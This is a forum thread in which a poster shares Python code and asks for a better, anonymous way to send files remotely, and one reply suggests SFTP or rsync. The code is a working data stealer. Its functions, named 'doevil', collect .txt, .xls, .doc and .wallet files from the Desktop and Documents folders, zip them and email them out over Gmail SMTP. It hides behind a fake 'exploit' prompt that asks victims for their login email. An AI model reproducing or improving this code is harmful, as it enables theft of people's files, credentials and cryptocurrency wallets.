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#1 |
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Confirmed User
Industry Role:
Join Date: Sep 2015
Posts: 1,045
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Python - Better way to store a file remotely?
I wrote a python program a couple of years ago. It zipped all my desktop and document folder files and sent them to me in an e-mail.
Is there a better way to do this? I was think ftp or ssh? But need to remain anonymous. Maybe dropbox? Here is my old code. Code:
#just playing around with python
import os
import glob
import platform
import zipfile
import sys
userhome = os.path.expanduser('~')
desktop = userhome + '/Desktop/'
useros = platform.system()
distribution = platform.linux_distribution()
answeryes = "y"
answercapitalyes = "Y"
answerwordyes = "yes"
answercapitalwordyes = "YES"
allfileszipped = zipfile.ZipFile('thestuff.zip','w')
#creds
username = 'testing'
password = 'testingpass'
def savefilesoff(folder):
for foldername,subfolders,filenames in os.walk(folder):
for filename in filenames:
if filename.endswith((".txt",".xls",".doc",".wallet")):
savefilename = os.path.join(foldername, filename)
thefilesize = os.path.getsize(savefilename)
if thefilesize < 500000:
allfileszipped.write(savefilename)
def continueevil(getlogin):
errorfile = open('run.log', 'w')
errorfile.write("error on connect")
errorfile.close()
savedwd = os.getcwd()
os.chdir(desktop)
savefilesoff(desktop)
userhome = os.path.expanduser('~')
documents = userhome + '/Documents/'
os.chdir(documents)
documentfiles = glob.glob('*.txt')
savefilesoff(documents)
os.chdir(savedwd)
allfileszipped.close()
sendfiles(getlogin)
def doevil():
print "enter your login e-mail address and press enter"
getlogin = raw_input()
print "Connecting ........"
print "zipping and sending file - this may take a moment"
if os.path.isfile("run.log"):
print "this exploit has been patched"
allfileszipped.close()
else:
continueevil(getlogin)
def sendfiles(getlogin):
#send file
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEBase import MIMEBase
from email import encoders
from_addr = "[email protected]"
to_addr = "[email protected]"
msg = MIMEMultipart()
msg['From'] = from_addr
msg['To'] = to_addr
msg['Subject'] = getlogin
body = "here is the file for " + getlogin
msg.attach(MIMEText(body, 'plain'))
filename = "thestuff.zip"
savedwd = os.getcwd()
attachment = open(savedwd+"/"+filename, "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
try:
gserver = smtplib.SMTP("smtp.gmail.com",587)
gserver.starttls()
gserver.login(username,password)
text = msg.as_string()
gserver.sendmail(from_addr, to_addr, text)
gserver.quit()
except:
print "internet connect error"
os.remove("run.log")
print "do you want to continue? Press Y And Hit Enter To Run"
yourdecision = raw_input()
if yourdecision == answeryes or yourdecision == answercapitalyes or yourdecision == answerwordyes or yourdecision == answercapitalwordyes:
savedwd = os.getcwd()
doevil()
os.remove("thestuff.zip")
else:
allfileszipped.close()
os.remove("thestuff.zip")
sys.exit()
__________________
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#2 |
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Confirmed User
Industry Role:
Join Date: Jan 2012
Location: NC
Posts: 7,683
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while creating zip set strong password.
transfer over ssl, like ssh rsync or sftp
__________________
SSD Cloud Server, VPS Server, Simple Cloud Hosting | DigitalOcean
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